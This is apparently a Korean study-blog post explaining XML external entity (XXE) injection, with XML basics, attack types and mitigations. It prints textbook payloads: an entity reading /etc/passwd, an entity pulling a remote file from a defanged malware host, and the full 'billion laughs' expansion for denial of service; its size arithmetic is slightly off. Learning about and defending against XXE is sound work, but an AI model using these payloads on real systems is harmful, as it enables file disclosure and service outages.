Security/Web Hacking
[Web Hacking] XXE Injection
inyeong
2024. 4. 30. 12:49
1. XXE Injection이란?
XML eXternal Entity Injection ⇒ XML 외부 개체 주입
XML을 통해 데이터를 주고받는 기능에 대해 외부 개체를 주입하는 공격
1.1. XML이란? (eXtensible Markup Language)
- HTML처럼 태그를 이용하는 마크업 언어
- HTML과의 가장 큰 차이점은 데이터의 구조를 설명할 수 있다는 점.
- HTML은 웹 페이지의 구조를 정의하고 내용을 표시하는 것이 목적이라면
XML은 데이터를 저장하고 전송하기 위해 데이터의 구조를 표현하는 것이 목적. - 예를 들어, XML에서는 아래와 같이 사용자가 직접 태그를 정의해서 데이터를 구조화하고 의미를 부여
<Introduction> <NAME>OOO</NAME> <AGE>22</AGE> </Introduction> - 데이터 무결성 보장, 검색 효율성 등 저장과 전송 과정에 강점이 있어
주로 브라우저와 서버 사이 데이터 전송에 사용됨. (요즘은 JSON이라는 것 때문에 많이 사용하지는 않는다고 함..)
1.2. 외부 엔터티란?
- XML 문서 내에서, 외부에 존재하는 정보나 리소스를 참조하는 개체
- 반복적으로 나오는 문자열이나 특수 문자를 사용하기 위해 미리 정의해놓고 사용하는 개체
- 예를 들어 “Hello, John How are you?” 라는 문장을 만들 때 Hello와 name을 문서에 직접 입력하는 게 아니라 다른 파일에 저장해두고 그 파일을 참조해서 불러온다고 하면
=> to. from 이라는 요소는 외부 파일에서 참조해 John과 Hello로 쓸 수 있게 되는 것
<!DOCTYPE note [ <!ENTITY greeting "Hello, "> <!ENTITY name "John"> ]> <note> <to>&name;</to> <from>&greeting;</from> <message>How are you?</message> </note> - 이렇게 외부 파일을 가져오는 과정에서 공격자가 접근할 수 있는 취약점이 발생하고
그 취약점을 이용한 공격이 바로 XXE Injection
2. 공격 방법 / 공격 종류
- XML 공격 코드 주입
⇒ 데이터 전송이 발생할 때 인젝션을 통해 민감한 파일 노출, 서버 다운 등 상당한 위협 - 대표적인 공격
- LFI 공격 ⇒ 주요 시스템 파일에 접근
<!ENTITY systemEntity SYSTEM "file:///etc/passwd"> <text>&systemEntity;</text>; - RFI 공격 ⇒ 악의적인 파일 참조
<!ENTITY malwareLink SYSTEM "hxxp://www.malware.com/1.txt"> <text>&malwareLink;</text>; - DoS 공격 ⇒ 하나의 엔티티에 다른 엔티티를 계속 참조하여 응용 프로그램에 부하를 일으키는 공격
<!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <lolz>&lol9;</lolz>
최종적으로 참조된 entity 코드는 9의 8제곱 개의 lol 문자열을 처리해야 하므로 약 3GB의 메모리를 차지
⇒ DoS 공격 가능
- LFI 공격 ⇒ 주요 시스템 파일에 접근
3. 대응 방법
- DOCTYPE 태그를 사용하지 않도록 설정하거나 DOCTYPE 태그를 포함하는 입력을 차단
- 외부 ENTITY 사용 비활성화
- 외부 데이터 참조가 필요할 경우, JSON으로 대체한다.